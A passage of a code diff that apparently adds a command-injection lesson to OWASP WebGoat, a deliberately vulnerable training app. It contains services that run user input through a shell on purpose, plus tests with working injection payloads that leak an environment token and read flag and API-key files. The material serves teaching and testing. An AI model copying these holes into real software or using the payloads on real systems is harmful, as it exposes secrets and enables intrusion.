.formParam("observed", expectedCommand) + .post(webGoatUrlConfig.url("CommandInjection/task1/run")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + + private String leakTask2Token() { + String output = + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("base", "") + .formParam("payload", payloadForCurrentOs()) + .post(webGoatUrlConfig.url("CommandInjection/task2/run")) + .then() + .statusCode(200) + .extract() + .path("output"); + + java.util.regex.Matcher matcher = + java.util.regex.Pattern.compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") + .matcher(output); + if (!matcher.find()) { + throw new IllegalStateException("Token not present in Task 2 output"); + } + return matcher.group(); + } + + private void submitTask2Token(String token) { + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("base", "") + .formParam("payload", payloadForCurrentOs()) + .formParam("token", token) + .post(webGoatUrlConfig.url("CommandInjection/task2/run")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + + private String captureTask3Flag() { + JsonPath response = + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("title", "luna images/*; cat flag.txt; #") + .post(webGoatUrlConfig.url("CommandInjection/task3/search")) + .then() + .statusCode(200) + .extract() + .jsonPath(); + + String console = response.getString("console"); + int start = console.indexOf("flag{"); + if (start < 0) { + throw new IllegalStateException("Flag not present in Task 3 output"); + } + int end = console.indexOf("}", start); + if (end < 0) { + throw new IllegalStateException("Flag not present in Task 3 output"); + } + return console.substring(start, end + 1); + } + + private void submitTask3Flag(String flag) { + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("flag", flag) + .post(webGoatUrlConfig.url("CommandInjection/task3/flag")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + + private String captureTask4ApiKey() { + JsonPath response = + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("title", "$(cat api-key.txt >&2)") + .post(webGoatUrlConfig.url("CommandInjection/task4/search")) + .then() + .statusCode(200) + .extract() + .jsonPath(); + + String console = response.getString("console"); + Matcher matcher = API_KEY_PATTERN.matcher(console); + if (!matcher.find()) { + throw new IllegalStateException("API key not present in Task 4 output"); + } + return matcher.group(); + } + + private void submitTask4Key(String apiKey) { + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("apikey", apiKey) + .post(webGoatUrlConfig.url("CommandInjection/task4/key")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + + private void configureTask5Remediation() { + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("mode", "ALLOWLIST_ONLY") + .formParam("allowlist", "true") + .formParam("sanitiser", "true") + .post(webGoatUrlConfig.url("CommandInjection/task5/evaluate")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + private boolean isWindowsHost() { + return System.getProperty("os.name", "").toLowerCase().contains("win"); + } + + private String payloadForCurrentOs() { + return isWindowsHost() ? "&& echo %WEBGOAT_BUILD_TOKEN%" : "; echo $WEBGOAT_BUILD_TOKEN"; + } +} diff --git a/src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/CommandInjectionLessonUITest.java b/src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/CommandInjectionLessonUITest.java new file mode 100644 index 00000000000..fae57510279 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/CommandInjectionLessonUITest.java @@ -0,0 +1,65 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.playwright.webgoat.lessons; + +import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat; + +import com.microsoft.playwright.Browser; +import java.util.Locale; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.lessons.LessonName; +import org.owasp.webgoat.playwright.webgoat.PlaywrightTest; +import org.owasp.webgoat.playwright.webgoat.helpers.Authentication; +import org.owasp.webgoat.playwright.webgoat.pages.lessons.CommandInjectionLessonPage; + +public class CommandInjectionLessonUITest extends PlaywrightTest { + + private CommandInjectionLessonPage lessonPage; + + @BeforeEach + void navigateToLesson(Browser browser) { + var lessonName = new LessonName("CommandInjection"); + var page = Authentication.sylvester(browser); + + this.lessonPage = new CommandInjectionLessonPage(page); + lessonPage.resetLesson(lessonName); + lessonPage.open(lessonName); + } + + @Test + @DisplayName("Complete the Command Injection lesson via the UI") + void shouldSolveCommandInjectionLesson() { + // Safety acknowledgement + lessonPage.navigateTo(3); + lessonPage.acknowledgeSafety(); + + lessonPage.navigateTo(4); + boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); + String expectedCommand = + isWindows ? "cmd.exe /c ping -n 1 localhost" : "/bin/sh -c ping -c 1 localhost"; + lessonPage.solveTask1(expectedCommand); + assertThat(lessonPage.task1Output()).containsText(expectedCommand); + + lessonPage.navigateTo(5); + lessonPage.solveTask2(isWindows); + + lessonPage.navigateTo(6); + lessonPage.solveTask3(); + assertThat(lessonPage.task3FlagFeedback()).containsText("Flag captured"); + + lessonPage.navigateTo(7); + lessonPage.solveTask4(); + assertThat(lessonPage.task4KeyFeedback()).containsText("Great!"); + + lessonPage.navigateTo(8); + lessonPage.configureTask5(); + assertThat(lessonPage.task5Feedback()).containsText("Configuration hardened"); + + // Best practices page loads + lessonPage.navigateTo(9); + } +} diff --git a/src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/CommandInjectionLessonPage.java b/src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/CommandInjectionLessonPage.java new file mode 100644 index 00000000000..60b5e21cac2 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/CommandInjectionLessonPage.java @@ -0,0 +1,135 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.playwright.webgoat.pages.lessons; + +import com.microsoft.playwright.Locator; +import com.microsoft.playwright.Page; +import com.microsoft.playwright.PlaywrightException; +import com.microsoft.playwright.options.WaitForSelectorState; + +public class CommandInjectionLessonPage extends LessonPage { + + public CommandInjectionLessonPage(Page page) { + super(page); + } + + public void acknowledgeSafety() { + Page page = getPage(); + page.locator("#safety-form #ack").fill("I understand commands will execute"); + submitForm("#safety-form"); + } + + public void solveTask1(String observedCommand) { + Page page = getPage(); + page.locator("#task1-form #host").selectOption("localhost"); + page.locator("#task1-form #custom").fill(""); + page.locator("#task1-form #observed").fill(observedCommand); + submitForm("#task1-form"); + } + + public Locator task1Output() { + return taskOutput("#task1-form"); + } + + public void solveTask2(boolean isWindows) { + Page page = getPage(); + String payload = isWindows ? "&& echo %WEBGOAT_BUILD_TOKEN%" : "; echo $WEBGOAT_BUILD_TOKEN"; + page.locator("#task2-form #base").fill(""); + page.locator("#task2-form #payload").fill(payload); + submitForm("#task2-form"); + waitForSpinner(); + var output = safeText(taskOutput("#task2-form")); + var token = output.substring(output.indexOf("=") + 1, output.length() - 1); + page.locator("#task2-form #token").fill("WEBGOAT_BUILD_TOKEN=" + token); + submitForm("#task2-form"); + } + + private void waitForSpinner() { + Locator spinner = getPage().locator(".spinner-border"); + try { + spinner.waitFor( + new Locator.WaitForOptions().setState(WaitForSelectorState.VISIBLE).setTimeout(500)); + spinner.waitFor( + new Locator.WaitForOptions().setState(WaitForSelectorState.HIDDEN).setTimeout(5000)); + } catch (PlaywrightException ignored) { + // Spinner not shown for this page. + } + } + + public void solveTask3() { + var page = getPage(); + page.locator("#task3-search-form #title").fill("luna images/*; cat flag.txt; #"); + submitForm("#task3-search-form"); + waitForSpinner(); + var console = safeText(page.locator("#cat-search-output .command-output")); + submitTask3Flag(console.substring(console.indexOf("flag{"), console.indexOf("}") + 1)); + } + + public void submitTask3Flag(String flag) { + var page = getPage(); + page.locator("#task3-flag-form #flag").fill(flag); + submitForm("#task3-flag-form"); + waitForSpinner(); + } + + public Locator task3FlagFeedback() { + return taskFeedback("#task3-flag-form"); + } + + public void solveTask4() { + Page page = getPage(); + page.locator("#task4-search-form #title-task4").fill("$(cat api-key.txt >&2)"); + submitForm("#task4-search-form"); + waitForSpinner(); + + var console = safeText(page.locator("#cat-task4-output .command-output")); + int start = console.indexOf("API_KEY="); + submitTask4Key(console.substring(start).trim()); + } + + private void submitTask4Key(String key) { + Page page = getPage(); + page.locator("#task4-key-form #apikey").fill(key); + submitForm("#task4-key-form"); + waitForSpinner(); + } + + public Locator task4KeyFeedback() { + return taskFeedback("#task4-key-form"); + } + + public void configureTask5() { + Page page = getPage(); + page.locator("#task5-form #mode").selectOption("ALLOWLIST_ONLY"); + page.locator("#task5-form input[name='allowlist']").check(); + page.locator("#task5-form input[name='sanitiser']").check(); + submitForm("#task5-form"); + } + + public Locator task5Feedback() { + return taskFeedback("#task5-form"); + } + + public Locator bestPracticesSection() { + return getPage().locator(".lesson-page-wrapper").last().locator(".adoc-content"); + } + + private void submitForm(String formSelector) { + getPage().locator(formSelector + " button[type='submit']").click(); + } + + private Locator taskOutput(String formSelector) { + return getPage().locator(formSelector + " ~ .attack-output"); + } + + private Locator taskFeedback(String formSelector) { + return getPage().locator(formSelector + " ~ .attack-feedback"); + } + + private String safeText(Locator locator) { + String text = locator.textContent(); + return text == null ? "" : text; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandExecutionService.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandExecutionService.java new file mode 100644 index 00000000000..0c1283d916d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandExecutionService.java @@ -0,0 +1,65 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.util.Locale; +import java.util.concurrent.TimeUnit; +import org.springframework.stereotype.Service; + +@Service +public class CommandExecutionService { + + public CommandExecutionResult execute(File workingDirectory, String command) { + boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); + String shell = isWindows ? "cmd.exe" : "/bin/sh"; + String switchArg = isWindows ? "/c" : "-c"; + + ProcessBuilder builder = new ProcessBuilder(shell, switchArg, command); + if (workingDirectory != null) { + builder.directory(workingDirectory); + } + builder.redirectErrorStream(true); + + String processOutput = ""; + boolean timedOut = false; + String executionError = null; + + try { + Process process = builder.start(); + try (OutputStream os = process.getOutputStream()) { + os.close(); + } + boolean finished = process.waitFor(5, TimeUnit.SECONDS); + if (!finished) { + timedOut = true; + process.destroyForcibly(); + process.waitFor(1, TimeUnit.SECONDS); + } + if (finished || !process.isAlive()) { + try (InputStream in = process.getInputStream()) { + processOutput = new String(in.readAllBytes(), StandardCharsets.UTF_8); + } + } else { + processOutput = ""; + process.getInputStream().close(); + } + } catch (IOException | InterruptedException e) { + executionError = e.getMessage(); + if (e instanceof InterruptedException) { + Thread.currentThread().interrupt(); + } + } + + return new CommandExecutionResult(command, processOutput, timedOut, executionError); + } + + public record CommandExecutionResult( + String command, String output, boolean timedOut, String executionError) {} +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java new file mode 100644 index 00000000000..7cbde1f4cc2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java @@ -0,0 +1,150 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static java.nio.file.StandardCopyOption.REPLACE_EXISTING; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Base64; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.function.Function; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; +import org.springframework.core.io.ClassPathResource; +import org.springframework.stereotype.Service; + +/** + * Shared helper for the command-injection tasks that displays the cat gallery. Responsible for + * provisioning per-user image folders and parsing grep output to resolve cat metadata. + */ +@Service +public class CommandInjectionCatService { + + private static final Pattern GREP_RESULT_PATTERN = + Pattern.compile("images/([a-z0-9_-]+)\\.txt:.*", Pattern.CASE_INSENSITIVE); + + private static final List CAT_LIBRARY = + List.of( + new CatDefinition( + "luna", + "Luna", + "Always chasing moonbeams.", + "lessons/pathtraversal/images/cats/1.jpg"), + new CatDefinition( + "milo", "Milo", "Chief snack inspector.", "lessons/pathtraversal/images/cats/2.jpg"), + new CatDefinition( + "pixel", + "Pixel", + "Sleeps on keyboards only.", + "lessons/pathtraversal/images/cats/3.jpg"), + new CatDefinition( + "nala", + "Nala", + "Window watcher extraordinaire.", + "lessons/pathtraversal/images/cats/4.jpg"), + new CatDefinition( + "tiger", + "Tiger", + "Tiny roar, big attitude.", + "lessons/pathtraversal/images/cats/5.jpg")); + + private static final Map CATS_BY_SLUG = + CAT_LIBRARY.stream() + .collect(Collectors.toUnmodifiableMap(CatDefinition::slug, Function.identity())); + + private static final Map DATA_URI_CACHE = new ConcurrentHashMap<>(); + + /** + * Ensure the per-user gallery exists and return the directory. + * + * @param webGoatHomeDirectory root WebGoat directory + * @param lessonPath sub-path for the lesson (e.g., {@code command-injection} or + * {@code command-injection/task4}) + * @param username current user's name + * @return File pointing to the user's working directory + */ + public File prepareGallery(String webGoatHomeDirectory, String lessonPath, String username) { + File userDir = new File(webGoatHomeDirectory, String.format("%s/%s", lessonPath, username)); + userDir.mkdirs(); + + Path imagesDir = userDir.toPath().resolve("images"); + try { + Files.createDirectories(imagesDir); + } catch (IOException e) { + throw new IllegalStateException("Unable to create images directory", e); + } + + for (CatDefinition cat : CAT_LIBRARY) { + Path imageTarget = imagesDir.resolve(cat.fileName()); + if (!Files.exists(imageTarget)) { + try (InputStream in = new ClassPathResource(cat.resourcePath()).getInputStream()) { + Files.copy(in, imageTarget, REPLACE_EXISTING); + } catch (IOException e) { + throw new IllegalStateException("Unable to copy cat image", e); + } + } + + Path metaFile = imagesDir.resolve(cat.slug() + ".txt"); + if (!Files.exists(metaFile)) { + try { + Files.writeString(metaFile, cat.displayName(), UTF_8); + } catch (IOException e) { + throw new IllegalStateException("Unable to create cat metadata", e); + } + } + } + + return userDir; + } + + public List extractMatches(String output) { + return output + .lines() + .map(GREP_RESULT_PATTERN::matcher) + .filter(Matcher::matches) + .map(matcher -> matcher.group(1).toLowerCase(Locale.ROOT)) + .map(CATS_BY_SLUG::get) + .filter(cat -> cat != null) + .distinct() + .map(CatDefinition::toView) + .toList(); + } + + private record CatDefinition(String slug, String displayName, String description, String resourcePath) { + + String fileName() { + return slug + ".jpg"; + } + + CatView toView() { + return new CatView(displayName, description, dataUri()); + } + + String dataUri() { + return DATA_URI_CACHE.computeIfAbsent(resourcePath, CommandInjectionCatService::loadDataUri); + } + } + + private static String loadDataUri(String resourcePath) { + try (InputStream is = new ClassPathResource(resourcePath).getInputStream()) { + byte[] bytes = is.readAllBytes(); + return "data:image/jpeg;base64," + Base64.getEncoder().encodeToString(bytes); + } catch (IOException e) { + return ""; + } + } + + public record CatView(String name, String description, String dataUri) {} +} + diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java index f1aa9144366..50fc22d401b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java @@ -7,8 +7,12 @@ import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; import java.util.Locale; import java.util.UUID; +import java.util.concurrent.TimeUnit; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; @@ -22,7 +26,8 @@ @AssignmentHints({"commandinjection.task2.hint1", "commandinjection.task2.hint2"}) public class CommandInjectionTask2 implements AssignmentEndpoint { - static final String LEAKED_TOKEN = UUID.randomUUID().toString(); + static final String LEAKED_TOKEN = + String.format(Locale.ROOT, "WEBGOAT_BUILD_TOKEN=%s", UUID.randomUUID().toString()); @PostMapping( value = "/CommandInjection/task2/run", @@ -34,26 +39,18 @@ public AttackResult run( @RequestParam(value = "token", required = false) String token) { String command = buildCommand(baseCommand, payload); - String output = simulateExecution(command); + CommandResult result = executeCommand(command); + String output = formatOutput(result); if (token == null || token.isBlank()) { - return failed(this) - .feedback("commandinjection.task2.failure.blank") - .output(output) - .build(); + return failed(this).feedback("commandinjection.task2.failure.blank").output(output).build(); } - if (LEAKED_TOKEN.equals(token.trim())) { - return success(this) - .feedback("commandinjection.task2.success") - .output(output) - .build(); + if (LEAKED_TOKEN.endsWith(token.trim())) { + return success(this).feedback("commandinjection.task2.success").output(output).build(); } - return failed(this) - .feedback("commandinjection.task2.failure.mismatch") - .output(output) - .build(); + return failed(this).feedback("commandinjection.task2.failure.mismatch").output(output).build(); } String buildCommand(String base, String payload) { @@ -65,7 +62,53 @@ String buildCommand(String base, String payload) { return shell + safeBase + (userPart.isEmpty() ? "" : " " + userPart); } - String simulateExecution(String command) { - return command + "\n" + "WEBGOAT_BUILD_TOKEN=" + LEAKED_TOKEN; + private CommandResult executeCommand(String command) { + boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); + String shell = isWindows ? "cmd.exe" : "/bin/sh"; + String switchArg = isWindows ? "/c" : "-c"; + + ProcessBuilder builder = new ProcessBuilder(shell, switchArg, command); + builder.redirectErrorStream(true); + builder.environment().put("WEBGOAT_BUILD_TOKEN", LEAKED_TOKEN); + + String output = ""; + boolean timedOut = false; + String executionError = null; + + try { + Process process = builder.start(); + boolean finished = process.waitFor(5, TimeUnit.SECONDS); + if (!finished) { + timedOut = true; + process.destroyForcibly(); + process.waitFor(1, TimeUnit.SECONDS); + } + try (InputStream is = process.getInputStream()) { + output = new String(is.readAllBytes(), StandardCharsets.UTF_8); + } + } catch (IOException | InterruptedException e) { + executionError = e.getMessage(); + if (e instanceof InterruptedException) { + Thread.currentThread().interrupt(); + } + } + + return new CommandResult(command, output, timedOut, executionError); } + + private String formatOutput(CommandResult result) { + StringBuilder console = new StringBuilder(); + console.append("Command: ").append(result.command()).append("\n"); + console.append(result.output()); + if (result.timedOut()) { + console.append("\n[Process terminated after timeout]\n"); + } + if (result.executionError() != null) { + console.append("\n[Execution error] ").append(result.executionError()); + } + return console.toString(); + } + + private record CommandResult( + String command, String output, boolean timedOut, String executionError) {} } diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java index 0a7533023be..000be77acac 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java @@ -39,9 +39,6 @@ public CommandInjectionTask3Flag(CommandInjectionTask3Service service) { produces = MediaType.APPLICATION_JSON_VALUE) public AttackResult submitFlag( @CurrentUser WebGoatUser user, @RequestParam("flag") String submittedFlag) { - - service.ensureInitialized(user); - if (submittedFlag == null || submittedFlag.isBlank()) { return failed(this).feedback("commandinjection.task3.failure.blank").build(); } @@ -58,4 +55,3 @@ public void initialize(WebGoatUser user) { service.initialize(user); } } - diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java index 94860e6712b..a3c77d7d026 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java @@ -5,95 +5,63 @@ package org.owasp.webgoat.lessons.commandinjection; import static java.nio.charset.StandardCharsets.UTF_8; -import static java.nio.file.StandardCopyOption.REPLACE_EXISTING; import java.io.File; -import java.io.IOException; -import java.io.InputStream; import java.nio.file.Files; -import java.nio.file.Path; -import java.util.Base64; import java.util.List; import java.util.Locale; import java.util.Map; import java.util.UUID; import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.TimeUnit; -import java.util.function.Function; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import java.util.stream.Collectors; import lombok.SneakyThrows; import org.owasp.webgoat.container.lessons.Initializable; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.beans.factory.annotation.Value; -import org.springframework.core.io.ClassPathResource; import org.springframework.stereotype.Service; @Service public class CommandInjectionTask3Service implements Initializable { - private static final Pattern GREP_RESULT_PATTERN = - Pattern.compile("images/([a-z0-9_-]+)\\.txt:.*", Pattern.CASE_INSENSITIVE); - private final String webGoatHomeDirectory; private final Map userFlags = new ConcurrentHashMap<>(); private final Map userDirectories = new ConcurrentHashMap<>(); - - private static final Map DATA_URI_CACHE = new ConcurrentHashMap<>(); - - private static final List CAT_LIBRARY = - List.of( - new CatDefinition( - "luna", - "Luna", - "Always chasing moonbeams.", - "lessons/pathtraversal/images/cats/1.jpg"), - new CatDefinition( - "milo", "Milo", "Chief snack inspector.", "lessons/pathtraversal/images/cats/2.jpg"), - new CatDefinition( - "pixel", - "Pixel", - "Sleeps on keyboards only.", - "lessons/pathtraversal/images/cats/3.jpg"), - new CatDefinition( - "nala", - "Nala", - "Window watcher extraordinaire.", - "lessons/pathtraversal/images/cats/4.jpg"), - new CatDefinition( - "tiger", - "Tiger", - "Tiny roar, big attitude.", - "lessons/pathtraversal/images/cats/5.jpg")); - - private static final Map CATS_BY_SLUG = - CAT_LIBRARY.stream() - .collect(Collectors.toUnmodifiableMap(CatDefinition::slug, Function.identity())); + private final CommandInjectionCatService catService; + private final CommandExecutionService commandExecutionService; public CommandInjectionTask3Service( - @Value("${webgoat.user.directory}") String webGoatHomeDirectory) { + @Value("${webgoat.user.directory}") String webGoatHomeDirectory, + CommandInjectionCatService catService, + CommandExecutionService commandExecutionService) { this.webGoatHomeDirectory = webGoatHomeDirectory; + this.catService = catService; + this.commandExecutionService = commandExecutionService; } public SearchResponse search(WebGoatUser user, String title) { ensureInitialized(user); String command = buildCommand(title); - CommandResult result = executeCommand(user, command); - String console = buildConsole(result); + CommandExecutionService.CommandExecutionResult executionResult = + commandExecutionService.execute(userDirectories.get(user.getUsername()), command); + String console = buildConsole(command, executionResult); List cats = - extractMatches(result.output()).stream().map(CatDefinition::toView).toList(); + catService.extractMatches(executionResult.output()).stream() + .map(cat -> new CatView(cat.name(), cat.description(), cat.dataUri())) + .toList(); return new SearchResponse( - command, console, result.output(), result.timedOut(), result.executionError(), cats); + command, + console, + executionResult.output(), + executionResult.timedOut(), + executionResult.executionError(), + cats); } public boolean validateFlag(WebGoatUser user, String submittedFlag) { - ensureInitialized(user); String expectedFlag = userFlags.get(user.getUsername()); - return expectedFlag != null && expectedFlag.equals(submittedFlag.trim()); + return expectedFlag != null && expectedFlag.contains(submittedFlag.trim()); } - public void ensureInitialized(WebGoatUser user) { + private void ensureInitialized(WebGoatUser user) { userFlags.computeIfAbsent(user.getUsername(), name -> createFlagForUser(user)); } @@ -104,9 +72,10 @@ public void initialize(WebGoatUser user) { ensureInitialized(user); } - private String buildConsole(CommandResult result) { + private String buildConsole( + String command, CommandExecutionService.CommandExecutionResult result) { StringBuilder console = new StringBuilder(); - console.append("Command: ").append(result.command()).append("\n"); + console.append("Command: ").append(command).append("\n"); console.append(result.output()); if (result.timedOut()) { console.append("\n[Process terminated after timeout]\n"); @@ -119,10 +88,8 @@ private String buildConsole(CommandResult result) { @SneakyThrows private String createFlagForUser(WebGoatUser user) { - String flagValue = UUID.randomUUID().toString(); - File userDir = new File(webGoatHomeDirectory, "command-injection/" + user.getUsername()); - userDir.mkdirs(); - prepareGallery(userDir.toPath()); + String flagValue = String.format(Locale.ROOT, "flag{%s}", UUID.randomUUID().toString()); + File userDir = catService.prepareGallery(webGoatHomeDirectory, "command-injection", user.getUsername()); File flagFile = new File(userDir, "flag.txt"); Files.writeString(flagFile.toPath(), flagValue, UTF_8); @@ -130,89 +97,11 @@ private String createFlagForUser(WebGoatUser user) { return flagValue; } - private void prepareGallery(Path userDir) { - Path imagesDir = userDir.resolve("images"); - if (!Files.exists(imagesDir)) { - imagesDir.toFile().mkdirs(); - } - - for (CatDefinition cat : CAT_LIBRARY) { - Path imageTarget = imagesDir.resolve(cat.fileName()); - if (!Files.exists(imageTarget)) { - try (InputStream in = new ClassPathResource(cat.resourcePath()).getInputStream()) { - Files.copy(in, imageTarget, REPLACE_EXISTING); - } catch (IOException e) { - throw new IllegalStateException("Unable to copy cat image", e); - } - } - - Path metaFile = imagesDir.resolve(cat.slug() + ".txt"); - if (!Files.exists(metaFile)) { - try { - Files.writeString(metaFile, cat.displayName(), UTF_8); - } catch (IOException e) { - throw new IllegalStateException("Unable to create cat metadata", e); - } - } - } - } - private String buildCommand(String title) { String trimmedTitle = title == null ? "" : title.trim(); - return "grep " + trimmedTitle + " images/*"; - } - - private CommandResult executeCommand(WebGoatUser user, String command) { - boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); - String shell = isWindows ? "cmd.exe" : "/bin/sh"; - String switchArg = isWindows ? "/c" : "-c"; - String[] cmd = new String[] {shell, switchArg, command}; - ProcessBuilder builder = new ProcessBuilder(cmd); - builder.directory(userDirectories.get(user.getUsername())); - builder.redirectErrorStream(true); - String processOutput = ""; - boolean timedOut = false; - String executionError = null; - try { - Process process = builder.start(); - boolean finished = process.waitFor(5, TimeUnit.SECONDS); - if (!finished) { - timedOut = true; - process.destroyForcibly(); - finished = process.waitFor(1, TimeUnit.SECONDS); - } - if (finished || !process.isAlive()) { - try (InputStream in = process.getInputStream()) { - processOutput = new String(in.readAllBytes(), UTF_8); - } - } else { - processOutput = ""; - process.getInputStream().close(); - } - } catch (IOException | InterruptedException e) { - executionError = e.getMessage(); - if (e instanceof InterruptedException) { - Thread.currentThread().interrupt(); - } - } - return new CommandResult(command, processOutput, timedOut, executionError); + return "grep " + trimmedTitle + " images/*.txt"; } - private List extractMatches(String output) { - return output - .lines() - .map(GREP_RESULT_PATTERN::matcher) - .filter(Matcher::matches) - .map(matcher -> matcher.group(1).toLowerCase(Locale.ROOT)) - .map(CATS_BY_SLUG::get) - .filter(cat -> cat != null) - .distinct() - .collect(Collectors.toList()); - } - - private record CommandResult( - String command, String output, boolean timedOut, String executionError) {} - public record SearchResponse( String command, String console, @@ -221,29 +110,5 @@ public record SearchResponse( String executionError, List cats) {} - private record CatDefinition(String slug, String displayName, String description, String resourcePath) { - - String fileName() { - return slug + ".jpg"; - } - - CatView toView() { - return new CatView(displayName, description, dataUri()); - } - - String dataUri() { - return DATA_URI_CACHE.computeIfAbsent(resourcePath, CommandInjectionTask3Service::loadDataUri); - } - } - - private static String loadDataUri(String resourcePath) { - try (InputStream is = new ClassPathResource(resourcePath).getInputStream()) { - byte[] bytes = is.readAllBytes(); - return "data:image/jpeg;base64," + Base64.getEncoder().encodeToString(bytes); - } catch (IOException e) { - return ""; - } - } - public record CatView(String name, String description, String dataUri) {} } diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java new file mode 100644 index 00000000000..97969e3b1c4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java @@ -0,0 +1,61 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "commandinjection.task4.hint1", + "commandinjection.task4.hint2", + "commandinjection.task4.hint3", + "commandinjection.task4.hint4" +}) +public class CommandInjectionTask4Key implements AssignmentEndpoint, Initializable { + + private final CommandInjectionTask4Service service; + + public CommandInjectionTask4Key(CommandInjectionTask4Service service) { + this.service = service; + } + + @PostMapping( + value = "/CommandInjection/task4/key", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = 